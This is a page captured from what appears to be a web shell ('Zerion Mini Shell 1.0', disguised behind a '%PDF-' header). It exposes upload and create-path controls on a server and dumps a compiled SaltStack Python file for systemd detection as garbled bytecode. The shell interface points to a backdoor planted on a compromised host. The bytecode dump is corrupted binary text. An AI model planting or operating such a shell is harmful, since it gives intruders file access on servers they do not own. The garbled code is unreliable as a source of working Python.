%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/systemd.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlZddl	m
Z
ddlZej
e�Zdd�Zdd�Zdd�ZdS(u%
Contains systemd related help files
i(tabsolute_importtprint_functiontunicode_literalsN(tSaltInvocationErrorcC@s�d}t|t�r,||krG||Sn|dk	rGtd��nyttjd��}Wntk
ryt}nXy|||<Wnt	k
r�nX|S(u@
    Return True if the system was booted with systemd, False otherwise.  If the
    loader context dict ``__context__`` is passed, this function will set the
    ``salt.utils.systemd.booted`` key to represent if systemd is running and
    keep the logic below from needing to be run again during the same salt run.
    usalt.utils.systemd.bootedu&context must be a dictionary if passedu/run/systemd/systemN(
t
isinstancetdicttNoneRtbooltoststattOSErrortFalset	TypeError(tcontextt
contextkeytret((s6/usr/lib/python2.7/site-packages/salt/utils/systemd.pytbooteds


cC@sd}t|t�r,||krG||Sn|dk	rGtd��ntjddgdtdtjdtj�j	�d}t
jjj
|�}y/ttjd	|j�d�jd
��}Wn+tttfk
r�tjd|�dSXy|||<Wntk
rnX|SdS(
u_
    Attempts to run systemctl --version. Returns None if unable to determine
    version.
    usalt.utils.systemd.versionu&context must be a dictionary if passedu	systemctlu	--versiont	close_fdststdouttstderriu\w+ ([0-9]+)iuPUnable to determine systemd version from systemctl --version, output follows:
%sN(RRRRt
subprocesstPopentTruetPIPEtSTDOUTtcommunicatetsalttutilststringutilstto_strtinttretsearcht
splitlinestgrouptAttributeErrort
IndexErrort
ValueErrortlogterrorR(R
RRtoutstrR((s6/usr/lib/python2.7/site-packages/salt/utils/systemd.pytversion2s./
cC@s6t|�stSt|�}|dkr,tS|dkS(u�
    Scopes were introduced in systemd 205, this function returns a boolean
    which is true when the minion is systemd-booted and running systemd>=205.
    i�N(RRR)R(R
t_sd_version((s6/usr/lib/python2.7/site-packages/salt/utils/systemd.pyt	has_scopeTs(t__doc__t
__future__RRRtloggingRRRtsalt.exceptionsRtsalt.utils.stringutilsRt	getLoggert__name__R&RRR)R+(((s6/usr/lib/python2.7/site-packages/salt/utils/systemd.pyt<module>s"

Zerion Mini Shell 1.0